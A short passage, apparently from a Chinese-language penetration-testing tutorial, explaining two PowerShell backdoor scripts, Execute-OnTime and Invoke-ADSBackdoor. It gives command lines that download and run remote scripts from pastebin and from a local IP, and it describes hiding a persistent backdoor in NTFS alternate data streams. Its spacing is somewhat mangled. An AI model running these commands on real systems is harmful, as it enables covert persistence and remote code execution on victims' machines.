3. Execute- -OnTime
-
Execute-OnTime腳本用於在目標主機上指定PowerShell腳本的執行時間,與HTTP -Backdoor腳本的使用方法相似,只不過增加了定時功能,其語法如下。
-
-
PS > Execute -OnTime -PayloadURL http: / /pastebin.com /raw.php?i =Zhyf8rwh -Arguments Get - Information - Time 23: 21 -CheckURL http: / /pastebin. com / raw .php?i =zhyf8rwh一 Stopstring stoppayload
-
PayloadURL:指定下載的腳本的地址。
-
-Arguments: 指定要執行的函數名。
-
- Time: 設置腳本執行的時間,例如“ - Time 23: 21”。
-
-CheckURL:檢測一個指定的URL里是否存在StopString給出的字符串,如果存在就停止執行。
4. Invoke- ADSBackdoor
Invoke-ADSBackdoor腳本能夠在NTFS數據流中留下一個 永久性的后門。這種方法的威脅是很大的,因為其留下的后門是永久性的,且不容易被發現。
Invoke-ADSBackdoor腳本用於向ADS注人代碼並以普通用戶權限運行。
PS >Invoke-ADSBackdoor -PayloadURL http://192.168.12.110/test.ps1

